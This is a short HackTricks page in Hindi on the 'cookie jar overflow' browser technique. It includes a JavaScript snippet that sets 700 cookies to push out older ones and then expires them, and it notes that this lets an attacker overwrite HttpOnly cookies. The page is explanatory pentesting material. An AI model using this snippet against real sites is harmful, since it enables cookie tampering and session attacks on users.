Cookie Jar Overflow

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

ब्राउज़रों के पास पेज के लिए जितने कुकी हो सकते हैं, उस पर सीमा होती है। इसलिए, यदि किसी कारणवश किसी कुकी को गायब करने की आवश्यकता हो, तो आप कुकी जार को ओवरफ्लो कर सकते हैं क्योंकि सबसे पुरानी कुकी हटा दी जाएगी:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

ध्यान दें, एक अलग डोमेन पर पोइंट करने वाले थर्ड पार्टी कुकीज को अधिलेखित नहीं किया जाएगा।

यह हमला HttpOnly कुकीज को भी ओवरराइट करने के लिए उपयोग किया जा सकता है क्योंकि आप इसे हटा सकते हैं और फिर आप चाहते हैं उस मान के साथ इसे रीसेट कर सकते हैं

इसे इस पोस्ट के साथ एक लैब के साथ जांचें

Last updated